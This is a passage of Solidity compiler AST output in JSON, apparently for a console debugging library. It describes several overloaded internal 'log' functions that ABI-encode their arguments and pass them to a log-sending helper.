memory) view"}},"id":19386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30970:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19387,"nodeType":"ExpressionStatement","src":"30970:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30897:3:14","parameters":{"id":19375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19368,"mutability":"mutable","name":"p0","nameLocation":"30915:2:14","nodeType":"VariableDeclaration","scope":19389,"src":"30901:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19367,"name":"string","nodeType":"ElementaryTypeName","src":"30901:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19370,"mutability":"mutable","name":"p1","nameLocation":"30924:2:14","nodeType":"VariableDeclaration","scope":19389,"src":"30919:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19369,"name":"uint","nodeType":"ElementaryTypeName","src":"30919:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19372,"mutability":"mutable","name":"p2","nameLocation":"30933:2:14","nodeType":"VariableDeclaration","scope":19389,"src":"30928:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19371,"name":"uint","nodeType":"ElementaryTypeName","src":"30928:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19374,"mutability":"mutable","name":"p3","nameLocation":"30942:2:14","nodeType":"VariableDeclaration","scope":19389,"src":"30937:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19373,"name":"bool","nodeType":"ElementaryTypeName","src":"30937:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"30900:45:14"},"returnParameters":{"id":19376,"nodeType":"ParameterList","parameters":[],"src":"30960:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19412,"nodeType":"FunctionDefinition","src":"31069:181:14","nodes":[],"body":{"id":19411,"nodeType":"Block","src":"31144:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c75696e742c6164647265737329","id":19403,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31194:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_bed728bf5bf9afc41a2cff142cfc289808bbba64cbab683d8e6689e6f6f14abc","typeString":"literal_string \"log(string,uint,uint,address)\""},"value":"log(string,uint,uint,address)"},{"id":19404,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19391,"src":"31227:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19405,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19393,"src":"31231:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19406,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19395,"src":"31235:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19407,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19397,"src":"31239:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bed728bf5bf9afc41a2cff142cfc289808bbba64cbab683d8e6689e6f6f14abc","typeString":"literal_string \"log(string,uint,uint,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19401,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31170:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19402,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31174:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31170:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31170:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19400,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"31154:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31154:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19410,"nodeType":"ExpressionStatement","src":"31154:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31078:3:14","parameters":{"id":19398,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19391,"mutability":"mutable","name":"p0","nameLocation":"31096:2:14","nodeType":"VariableDeclaration","scope":19412,"src":"31082:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19390,"name":"string","nodeType":"ElementaryTypeName","src":"31082:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19393,"mutability":"mutable","name":"p1","nameLocation":"31105:2:14","nodeType":"VariableDeclaration","scope":19412,"src":"31100:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19392,"name":"uint","nodeType":"ElementaryTypeName","src":"31100:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19395,"mutability":"mutable","name":"p2","nameLocation":"31114:2:14","nodeType":"VariableDeclaration","scope":19412,"src":"31109:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19394,"name":"uint","nodeType":"ElementaryTypeName","src":"31109:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19397,"mutability":"mutable","name":"p3","nameLocation":"31126:2:14","nodeType":"VariableDeclaration","scope":19412,"src":"31118:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19396,"name":"address","nodeType":"ElementaryTypeName","src":"31118:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"31081:48:14"},"returnParameters":{"id":19399,"nodeType":"ParameterList","parameters":[],"src":"31144:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19435,"nodeType":"FunctionDefinition","src":"31256:186:14","nodes":[],"body":{"id":19434,"nodeType":"Block","src":"31337:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c737472696e672c75696e7429","id":19426,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31387:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a0c4b225a555b1198e8b1e32117070e759cad9a7266d99901b8a7fd2482d0e2f","typeString":"literal_string \"log(string,uint,string,uint)\""},"value":"log(string,uint,string,uint)"},{"id":19427,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19414,"src":"31419:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19428,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19416,"src":"31423:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19429,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19418,"src":"31427:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19430,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19420,"src":"31431:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a0c4b225a555b1198e8b1e32117070e759cad9a7266d99901b8a7fd2482d0e2f","typeString":"literal_string \"log(string,uint,string,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19424,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31363:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19425,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31367:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31363:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31363:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19423,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"31347:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31347:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19433,"nodeType":"ExpressionStatement","src":"31347:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31265:3:14","parameters":{"id":19421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19414,"mutability":"mutable","name":"p0","nameLocation":"31283:2:14","nodeType":"VariableDeclaration","scope":19435,"src":"31269:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19413,"name":"string","nodeType":"ElementaryTypeName","src":"31269:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19416,"mutability":"mutable","name":"p1","nameLocation":"31292:2:14","nodeType":"VariableDeclaration","scope":19435,"src":"31287:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19415,"name":"uint","nodeType":"ElementaryTypeName","src":"31287:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19418,"mutability":"mutable","name":"p2","nameLocation":"31310:2:14","nodeType":"VariableDeclaration","scope":19435,"src":"31296:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19417,"name":"string","nodeType":"ElementaryTypeName","src":"31296:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19420,"mutability":"mutable","name":"p3","nameLocation":"31319:2:14","nodeType":"VariableDeclaration","scope":19435,"src":"31314:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19419,"name":"uint","nodeType":"ElementaryTypeName","src":"31314:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"31268:54:14"},"returnParameters":{"id":19422,"nodeType":"ParameterList","parameters":[],"src":"31337:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19458,"nodeType":"FunctionDefinition","src":"31448:197:14","nodes":[],"body":{"id":19457,"nodeType":"Block","src":"31538:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c737472696e672c737472696e6729","id":19449,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31588:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6c98dae27db048edb14bb31b4326832aa1fb54be52caaf49d1cecb59aa297c07","typeString":"literal_string \"log(string,uint,string,string)\""},"value":"log(string,uint,string,string)"},{"id":19450,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19437,"src":"31622:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19451,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19439,"src":"31626:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19452,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19441,"src":"31630:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19453,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19443,"src":"31634:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6c98dae27db048edb14bb31b4326832aa1fb54be52caaf49d1cecb59aa297c07","typeString":"literal_string \"log(string,uint,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19447,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31564:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19448,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31568:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31564:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31564:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19446,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"31548:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19455,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31548:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19456,"nodeType":"ExpressionStatement","src":"31548:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31457:3:14","parameters":{"id":19444,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19437,"mutability":"mutable","name":"p0","nameLocation":"31475:2:14","nodeType":"VariableDeclaration","scope":19458,"src":"31461:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19436,"name":"string","nodeType":"ElementaryTypeName","src":"31461:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19439,"mutability":"mutable","name":"p1","nameLocation":"31484:2:14","nodeType":"VariableDeclaration","scope":19458,"src":"31479:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19438,"name":"uint","nodeType":"ElementaryTypeName","src":"31479:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19441,"mutability":"mutable","name":"p2","nameLocation":"31502:2:14","nodeType":"VariableDeclaration","scope":19458,"src":"31488:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19440,"name":"string","nodeType":"ElementaryTypeName","src":"31488:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19443,"mutability":"mutable","name":"p3","nameLocation":"31520:2:14","nodeType":"VariableDeclaration","scope":19458,"src":"31506:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19442,"name":"string","nodeType":"ElementaryTypeName","src":"31506:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31460:63:14"},"returnParameters":{"id":19445,"nodeType":"ParameterList","parameters":[],"src":"31538:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19481,"nodeType":"FunctionDefinition","src":"31651:186:14","nodes":[],"body":{"id":19480,"nodeType":"Block","src":"31732:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c737472696e672c626f6f6c29","id":19472,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31782:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e99f82cf29cb9d7551a843a55617f00569395570d3a9816be530f7c6197ec7c8","typeString":"literal_string \"log(string,uint,string,bool)\""},"value":"log(string,uint,string,bool)"},{"id":19473,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19460,"src":"31814:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19474,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19462,"src":"31818:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19475,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19464,"src":"31822:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19476,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19466,"src":"31826:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e99f82cf29cb9d7551a843a55617f00569395570d3a9816be530f7c6197ec7c8","typeString":"literal_string \"log(string,uint,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19470,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31758:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19471,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31762:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31758:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31758:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19469,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"31742:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31742:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19479,"nodeType":"ExpressionStatement","src":"31742:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31660:3:14","parameters":{"id":19467,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19460,"mutability":"mutable","name":"p0","nameLocation":"31678:2:14","nodeType":"VariableDeclaration","scope":19481,"src":"31664:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19459,"name":"string","nodeType":"ElementaryTypeName","src":"31664:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19462,"mutability":"mutable","name":"p1","nameLocation":"31687:2:14","nodeType":"VariableDeclaration","scope":19481,"src":"31682:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19461,"name":"uint","nodeType":"ElementaryTypeName","src":"31682:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19464,"mutability":"mutable","name":"p2","nameLocation":"31705:2:14","nodeType":"VariableDeclaration","scope":19481,"src":"31691:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19463,"name":"string","nodeType":"ElementaryTypeName","src":"31691:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19466,"mutability":"mutable","name":"p3","nameLocation":"31714:2:14","nodeType":"VariableDeclaration","scope":19481,"src":"31709:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19465,"name":"bool","nodeType":"ElementaryTypeName","src":"31709:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"31663:54:14"},"returnParameters":{"id":19468,"nodeType":"ParameterList","parameters":[],"src":"31732:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19504,"nodeType":"FunctionDefinition","src":"31843:192:14","nodes":[],"body":{"id":19503,"nodeType":"Block","src":"31927:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c737472696e672c6164647265737329","id":19495,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31977:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_bb7235e9977380af5de9932c5c28e18d22806b4b0a15ac7e98086e795e59b31c","typeString":"literal_string \"log(string,uint,string,address)\""},"value":"log(string,uint,string,address)"},{"id":19496,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19483,"src":"32012:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19497,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19485,"src":"32016:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19498,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19487,"src":"32020:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19499,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19489,"src":"32024:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bb7235e9977380af5de9932c5c28e18d22806b4b0a15ac7e98086e795e59b31c","typeString":"literal_string \"log(string,uint,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19493,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31953:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19494,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31957:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31953:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31953:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19492,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"31937:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31937:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19502,"nodeType":"ExpressionStatement","src":"31937:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31852:3:14","parameters":{"id":19490,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19483,"mutability":"mutable","name":"p0","nameLocation":"31870:2:14","nodeType":"VariableDeclaration","scope":19504,"src":"31856:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19482,"name":"string","nodeType":"ElementaryTypeName","src":"31856:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19485,"mutability":"mutable","name":"p1","nameLocation":"31879:2:14","nodeType":"VariableDeclaration","scope":19504,"src":"31874:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19484,"name":"uint","nodeType":"ElementaryTypeName","src":"31874:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19487,"mutability":"mutable","name":"p2","nameLocation":"31897:2:14","nodeType":"VariableDeclaration","scope":19504,"src":"31883:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19486,"name":"string","nodeType":"ElementaryTypeName","src":"31883:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19489,"mutability":"mutable","name":"p3","nameLocation":"31909:2:14","nodeType":"VariableDeclaration","scope":19504,"src":"31901:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19488,"name":"address","nodeType":"ElementaryTypeName","src":"31901:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"31855:57:14"},"returnParameters":{"id":19491,"nodeType":"ParameterList","parameters":[],"src":"31927:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"i